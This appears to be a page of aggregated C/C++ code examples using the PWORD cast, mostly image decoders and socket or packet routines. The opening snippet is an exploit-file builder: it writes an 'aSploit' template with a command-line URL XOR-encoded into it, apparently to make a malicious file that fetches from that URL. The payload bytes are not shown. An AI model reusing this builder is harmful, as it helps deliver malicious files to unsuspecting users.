int main( int argc, char *argv[] ) {

  if( argc == 3 ) {
    DWORD dwURLlen = strlen( argv[ 1 ] )+1;
    if( dwURLlen < 40 ) {
      HANDLE h = CreateFile(
        argv[ 2 ],
        GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        0,
        0 );

      if ( h == INVALID_HANDLE_VALUE ) {
        printf( "Error creating %s\n", argv[ 2 ] );
        return( 0 );
      }

DWORD dwWrit = 0;
      if( !WriteFile( h, aSploit, URL_OFFSET, &dwWrit, NULL ) ||
       ( dwWrit != URL_OFFSET ) )
        goto writeerr;

      for( char *p = argv[ 1 ]; ( *p ) && ( *(p+1) ); p+=2 )
        *PWORD( p ) ^= 0xdefa; // 0xfade "little-endian"ed - should use htons?
      *PWORD( p ) ^= 0xdefa;

      if( !WriteFile( h, argv[ 1 ], dwURLlen, &dwWrit, NULL ) ||
        ( dwWrit != dwURLlen ) )
        goto writeerr;

      DWORD dwToWrite = sizeof( aSploit ) - ( URL_OFFSET + dwURLlen );
      if( !WriteFile( h, &aSploit[ URL_OFFSET+dwURLlen ], dwToWrite,
        &dwWrit, NULL ) || ( dwWrit != dwToWrite ) )
        goto writeerr;

      CloseHandle( h );

      return( 0 );
    }
  }

  Usage();
  return( 1 );

writeerr:
  printf( "Error writing to %s\n", argv[ 2 ] );
  return( 2 );
}
Esempio n. 2
0
BOOL CUdpSocket::CheckSum( int length )
{
    if( length<=6 )
        return FALSE;
    PCHECK_SUM pCheckSum = (PCHECK_SUM)m_pRecvBuff;
    if( pCheckSum->Head != ((DWORD)PACKET_START2<<8) + PACKET_START1 )
        return FALSE;
    if( pCheckSum->Length+6 != length )
        return FALSE;
    if( *PWORD(&m_pRecvBuff[pCheckSum->Length+4]) != ((DWORD)PACKET_END2<<8) + PACKET_END1 )
        return FALSE;
    return TRUE;
}
Esempio n. 3
0
void ie_FillLine(iePwL pDst, DWORD nXW, iewL clr)
{
#ifndef __X64__
	if (g_bSSE2 && (nXW >= 16)) {
#else
	if (nXW >= 16) {
#endif
		// Do fill using SSE2!

		while (nXW) {												// Fill until destination is aligned
			if (_mm_isAligned(pDst)) break;
			*pDst++ = clr;
			nXW--;
		}

		__m128i r0 = _mm_set1_epi16(clr);

		for (DWORD nXW_8 = nXW >> 3; nXW_8--;) {
			_mm_store_si128((__m128i *)pDst, r0);
			pDst += 8;
		}

		if (nXW & 4) {
			_mm_storel_epi64((__m128i *)pDst, r0);
			pDst += 4;
		}

		if (nXW & 2) {
			*PDWORD(pDst) = _mm_cvtsi128_si32(r0);
			pDst += 2;
		}

		if (nXW & 1) {
			*PWORD(pDst) = clr;
		}

		return;
	}

	while (nXW--)
		*pDst++ = clr;
}
Esempio n. 4
0
ieResult ie_fits_Reader::ReadImageX(ieImage *pim, bool bLoadSmall, iePProgress pProgress, volatile bool *pbCancel)
{
	PCBYTE pbSrc = pcData;
    double dNAV = dBlank;
 
    pbSrc = pcData;
	if (pim->L()) 
	{
		DWORD nPitchDst = pim->L()->Pitch();
		iePL pcDst = pim->L()->PixelPtr();
		pcDst += nY*nPitchDst;

		for (DWORD y = 0; y <  nY; y++) {
			
			pcDst -= nPitchDst;

			iem_Copy(pcDst, pbSrc, pim->X());

			pbSrc += pim->X();

			if (pProgress) pProgress->Progress(y, nY);
			if (pbCancel && *pbCancel) break;
		}
	}

	else if (pim->wL()) 
	{
		DWORD nPitchDst = pim->wL()->Pitch();
		iePwL pwDst = pim->wL()->PixelPtr();
		pwDst += nY*nPitchDst;

		for (DWORD y = 0; y < nY; y++) {

			pwDst -= nPitchDst;

			ie_SetBSSWords2Words(PWORD(pwDst), PCSWORD(pbSrc), pim->X(), (nZ <= 16) ? 1 : 2);
			
			pbSrc += pim->X() * 2;

			if (pProgress) pProgress->Progress(y, nY);
			if (pbCancel && *pbCancel) break;
		}
	}
	
	else if (pim->fL())
	{
		DWORD nPitchDst = pim->fL()->Pitch();
		iePfL pfDst = pim->fL()->PixelPtr();
		pfDst += nY*nPitchDst;

		for (DWORD y = 0; y < nY; y++) {

			pfDst -= nPitchDst;

			if (nZ >= 32) {
				ie_SetFloats(pfDst, iePCfL(pbSrc), pim->X(), 1, true);
			}
			else { // if (nZ == 64) {
				iePfL pfD = pfDst;
				const QWORD *pqwS = (const QWORD *) pbSrc;
				for (DWORD x = nX; x--;) {
					QWORD qw = *pqwS++;
					qw = SwapQW(qw);
					*pfD++ = float(*(double *)&qw);
				}
			}

			pbSrc += pim->X() * 4;

			if (pProgress) pProgress->Progress(y, nY);
			if (pbCancel && *pbCancel) break;
		}
	}

	else {
		return IE_E_INVALIDCLRFORMAT;
	}

    return IE_S_OK;
}
Esempio n. 5
0
int CUdpSocket::Send( char* pBuf, long length, LPCTSTR lpTo, unsigned int Port, int dwFlag )
{
    int Ret; //返回值

    if( m_Socket == INVALID_SOCKET )
        return -1;

    //检查长度
    if( length > MAX_PACKET_SIZE )
        return 0;

    WSABUF Buf; //接收缓存
    DWORD dwSentSize = 0;

    //缓存
    char pTBuf[MAX_PACKET_SIZE];
    int index = 0;
    //封包格式
    pTBuf[index++] = (BYTE)PACKET_START1;
    pTBuf[index++] = (BYTE)PACKET_START2;
    *PWORD( &pTBuf[index] ) = (WORD)length;
    index += 2;
    memcpy( pTBuf+index, pBuf, length );
    index += length;
    pTBuf[index++] = (BYTE)PACKET_END1;
    pTBuf[index++] = (BYTE)PACKET_END2;

    Buf.buf = pTBuf;
    Buf.len = index;

    if(pSendOvl)
        pSendOvl->OffsetHigh = Buf.len;
    //发送
    if( m_SocketType == SOCK_STREAM )
    {
        Ret = WSASend( m_Socket, &Buf, 1, &dwSentSize, dwFlag, pSendOvl, NULL);
    }
    else
    {
        sockaddr_in addr; //地址结构
        //初始化地址
        //ZeroMemory( &addr, sizeof(addr) );
        addr.sin_family = AF_INET;
#ifdef _UNICODE
        USES_CONVERSION;
        addr.sin_addr.s_addr = inet_addr(W2A(lpTo));
#else
        addr.sin_addr.s_addr = inet_addr(lpTo);
#endif
        addr.sin_port = htons(Port);

        Ret = WSASendTo( m_Socket, &Buf, 1, &dwSentSize, dwFlag, (sockaddr*)&addr, sizeof(addr), pSendOvl, NULL);
    }

    //判断返回值
    if ( Ret == SOCKET_ERROR )
    {
        Ret = WSAGetLastError(); //得到错误
        switch( Ret )
        {
        case WSA_IO_PENDING:
            //累计错误
            m_nPending++;
            //大于3次结束连接
            if( m_nPending > 3 )
                //Close();
                break;
        case WSAEWOULDBLOCK:
            //累计错误
            m_nWouldblock++;
            //大于3次结束连接
            if( m_nWouldblock > 3 )
                //Close();
                break;
        default:
            //累计错误
            m_nSocketErr++;
            //大于3次结束连接
            if( m_nSocketErr == 2 )
                //Close();
                break;
        }
    }

    return Ret;
}
Esempio n. 6
0
static void tga_RLE(PBYTE pbDst, PCBYTE pbSrc, DWORD dwImgSize, int iPiWidth)	// Decode TARGA RLE...
// Targa RLE decompression
{
	//  b := Read byte;
	//  if b7 = 1 then duplicate next pixel (1 + b & 0x7F) times
	//  else copy (1 + b & 0x7F) pixels literary

	PBYTE	pbEnd = pbDst + dwImgSize*iPiWidth;

	if (iPiWidth == 4) {

		while (pbDst < pbEnd) {

			BYTE b = *pbSrc++;
			DWORD c = 1 + (b & 0x7F);

			if (b & 0x80) {
				DWORD dw = *PDWORD(pbSrc);	pbSrc += 4;
				for (; c--; pbDst += 4)
					*PDWORD(pbDst) = dw;
			} else {
				DWORD cb = 4*c;
				memcpy(pbDst, pbSrc, cb);
				pbDst += cb;
				pbSrc += cb;
			}
		} 

	} else if (iPiWidth == 3) {

		while (pbDst < pbEnd) {

			BYTE b = *pbSrc++;
			DWORD c = 1 + (b & 0x7F);

			if (b & 0x80) {
				DWORD dw = *PDWORD(pbSrc);	pbSrc += 3;
				for (; c--; pbDst += 3)
					*PDWORD(pbDst) = dw;
			} else {
				DWORD cb = 3 * c;
				memcpy(pbDst, pbSrc, cb);
				pbDst += cb;
				pbSrc += cb;
			}
		} 

	} else if (iPiWidth == 2) {

		while (pbDst < pbEnd) {

			BYTE b = *pbSrc++;
			DWORD c = 1 + (b & 0x7F);

			if (b & 0x80) {
				WORD w = *PWORD(pbSrc);	pbSrc += 2;
				for (; c--; pbDst += 2)
					*PWORD(pbDst) = w;
			} else {
				DWORD cb = 2 * c;
				memcpy(pbDst, pbSrc, cb);
				pbDst += cb;
				pbSrc += cb;
			}
		} 

	} else { //if (iPiWidth == 1) {

		while (pbDst < pbEnd) {

			BYTE b = *pbSrc++;
			DWORD c = 1 + (b & 0x7F);

			if (b & 0x80) {
				BYTE b = *pbSrc++;
				for (; c--; )
					*pbDst++ = b;
			} else {
				memcpy(pbDst, pbSrc, c);
				pbDst += c;
				pbSrc += c;
			}
		} 
	}
}
Esempio n. 7
0
ieResult ie_pnm_Reader::ReadImageX(ieImage *pim, bool bLoadSmall, iePProgress pProgress, volatile bool *pbCancel)
{
    PCBYTE	pbSrc = pbData, pbSrcNext;
	PCBYTE	pbEnd = pMem->Ptr() + pMem->Size();
    PBYTE	pbDst = pim->RawPixelPtr(), pb;
    DWORD	nDstPitch = pim->Pitch();
    DWORD	x, y;

	switch (cFormat) {

    case P_BINARYBITMAP:
    	x = nMinBytesPerLine/8;
		for (y = nY; y--; pbDst += nDstPitch, pbSrc = pbSrcNext) {
			if ((pbSrcNext = pbSrc + x) > pbEnd) break;
            ie_Unpack1BPLine(iePILUT(pbDst), pbSrc, x);
			if (pbCancel && *pbCancel) break;
		}
    	break;

	case P_BINARYGRAYMAP:
		if (b16bit) {
			for (y = nY; y--; pbDst += 2 * nDstPitch, pbSrc = pbSrcNext) {
				if ((pbSrcNext = pbSrc + 2 * nX) > pbEnd) break;
				ie_SetWords(PWORD(pbDst), PCWORD(pbSrc), nX, 1, true);
			}
		}
		else {
			ie_PadLines(pbDst, pbSrc, nDstPitch, nX, nY);
		}
    	break;

    case P_BINARYPIXELMAP:
		if (b16bit) {
			for (y = nY; y--; pbDst += 8 * nDstPitch, pbSrc = pbSrcNext) {
				if ((pbSrcNext = pbSrc + 6 * nX) > pbEnd) break;
				ie_wRGB2wBGRA(iePwBGRA(pbDst), iePCwRGB(pbSrc), nX, true);
				if (pbCancel && *pbCancel) break;
			}
		}
		else {
			for (y = nY; y--; pbDst += 4 * nDstPitch, pbSrc = pbSrcNext) {
				if ((pbSrcNext = pbSrc + 3 * nX) > pbEnd) break;
				ie_RGB2BGRA(iePBGRA(pbDst), iePRGB(pbSrc), nX);
				if (pbCancel && *pbCancel) break;
			}
		}
    	break;

    case P_TEXTBITMAP:
	case P_TEXTGRAYMAP:
		for (y = 0; y < nY; y++, pbDst += nDstPitch) {
            if (pProgress && ((y & 0x1F) == 0x1F)) pProgress->Progress(y, nY);
        	pb = pbDst;
            for (x = nX; x--; )
				*pb++ = ReadInt(pbSrc, pbEnd, 1);
			if (pbCancel && *pbCancel) break;
        }
    	break;

	case P_TEXTPIXELMAP:
		for (y = 0; y < nY; y++, pbDst += 4 * nDstPitch) {
            if (pProgress && ((y & 0x1F) == 0x1F)) pProgress->Progress(y, nY);
        	pb = pbDst;
            for (x = nX; x--; pb += 4) {
				pb[2] = ReadInt(pbSrc, pbEnd);
				pb[1] = ReadInt(pbSrc, pbEnd);
				pb[0] = ReadInt(pbSrc, pbEnd);
				pb[3] = 0xFF;
            }
			if (pbCancel && *pbCancel) break;
        }
    	break;

	case P_FLOATGRAYMAP:
		ie_PadLines(pbDst, pbSrc, nDstPitch * sizeof(float), nX * sizeof(float), nY);
    	break;

	case P_FLOATPIXELMAP:
		for (y = 0; y < nY; y++, pbDst += 16 * nDstPitch, pbSrc = pbSrcNext) {
            if (pProgress && ((y & 0x1F) == 0x1F)) pProgress->Progress(y, nY);
			if ((pbSrcNext = pbSrc + 12 * nX) > pbEnd) break;
			ie_fRGB2fBGRA(iePfBGRA(pbDst), iePfRGB(pbSrc), nX);
			if (pbCancel && *pbCancel) break;
        }
    	break;
	}

    return IE_S_OK;
}
Esempio n. 8
0
int CPacket::GetPacket( char* pBuffer, int length, WORD Packet, ... )
{
	string* pFormat = m_PacketCmd.GetData( Packet );
	if( pFormat )
	{
		int index = 2;
		*PWORD(pBuffer) = Packet;

		va_list marker;
		va_start( marker, Packet );//역迦

		BYTE byte;
		WORD word;
		DWORD dword;
		char* p;

		for( int i=0;i<(int)pFormat->size();i++ )
		{
			switch( BYTE((*pFormat)[i]) )
			{
			case T_BYTE:
				if( index>=length )
				{
					va_end( marker );//써監
					return 0;
				}
				byte = va_arg( marker, BYTE );
				pBuffer[index++] = byte;
				break;
			case T_WORD:
				if( index>=length-1 )
				{
					va_end( marker );//써監
					return 0;
				}
				word = va_arg( marker, WORD );
				*(PWORD)&pBuffer[index] = word;
				index += 2;
				break;
			case T_DWORD:
				if( index>=length-3 )
				{
					va_end( marker );//써監
					return 0;
				}
				dword = va_arg( marker, DWORD );
				*(PDWORD)&pBuffer[index] = dword;
				index += 4;
				break;
			case T_LEN_DATA:
				if( index>=length-1 )
				{
					va_end( marker );//써監
					return 0;
				}
				word = va_arg( marker, WORD );
				*PWORD(&pBuffer[index]) = word;
				index += 2;
				if( word == 0 )
				{
					va_end( marker );//써監
					return index;
				}
				if( index>length-word )
				{
					va_end( marker );//써監
					return 0;
				}
				p = va_arg( marker, char* );
				memcpy( &pBuffer[index], p, word );
				index += word;					
				break;
			default:
				pBuffer[index++] = BYTE((*pFormat)[i]);
				break;
			}
		}

		va_end( marker );//써監
		return index;
	}
	return -1;
}
Esempio n. 9
0
int CPacket::GetValue( const char* pBuffer, int length, WORD Packet, ... )
{
	string* pFormat = m_PacketCmd.GetData( Packet );
	if( pFormat )
	{
		int index = 2;
		*PWORD(pBuffer) = Packet;

		va_list marker;
		va_start( marker, Packet );//역迦

		PBYTE pbyte;
		PWORD pword;
		PDWORD pdword;
		WORD len;
		char* p;

		for( int i=0;i<(int)pFormat->size();i++ )
		{
			switch( BYTE((*pFormat)[i]) )
			{
			case T_BYTE:
				if( index>=length )
				{
					va_end( marker );//써監
					return 0;
				}
				pbyte = va_arg( marker, PBYTE );
				if( pbyte != NULL )
				{
					*pbyte = pBuffer[index];
				}
				index++;
				break;
			case T_WORD:
				if( index>=length-1 )
				{
					va_end( marker );//써監
					return 0;
				}
				pword = va_arg( marker, PWORD );
				if( pword != NULL )
				{
					*pword = *(PWORD)&pBuffer[index];
				}
				index += 2;
				break;
			case T_DWORD:
				if( index>=length-3 )
				{
					va_end( marker );//써監
					return 0;
				}
				pdword = va_arg( marker, PDWORD );
				if( pdword != NULL )
				{
					*pdword = *(PDWORD)&pBuffer[index];
				}
				index += 4;
				break;
			case T_LEN_DATA:
				if( index>length-2 )
				{
					va_end( marker );//써監
					return 0;
				}
				pword = va_arg( marker, PWORD );
				if( pword == NULL )
				{
					va_end( marker );//써監
					return 0;
				}
				len = va_arg( marker, WORD );
				*pword = *PWORD(&pBuffer[index]);
				index += 2;
				if( len < *pword )
				{
					va_end( marker );//써監
					return 0;
				}
				if( index>length-*pword )
				{
					va_end( marker );//써監
					return 0;
				}
				p = va_arg( marker, char* );
				memcpy( p, &pBuffer[index], *pword );
				index += *pword;					
				break;
			default:
				if( index>=length )
				{
					va_end( marker );//써監
					return 0;
				}
//				pBuffer[index++] = BYTE((*pFormat)[i]);
				index++;
				break;
			}
		}

		va_end( marker );//써監
		return index;
	}
	return -1;
}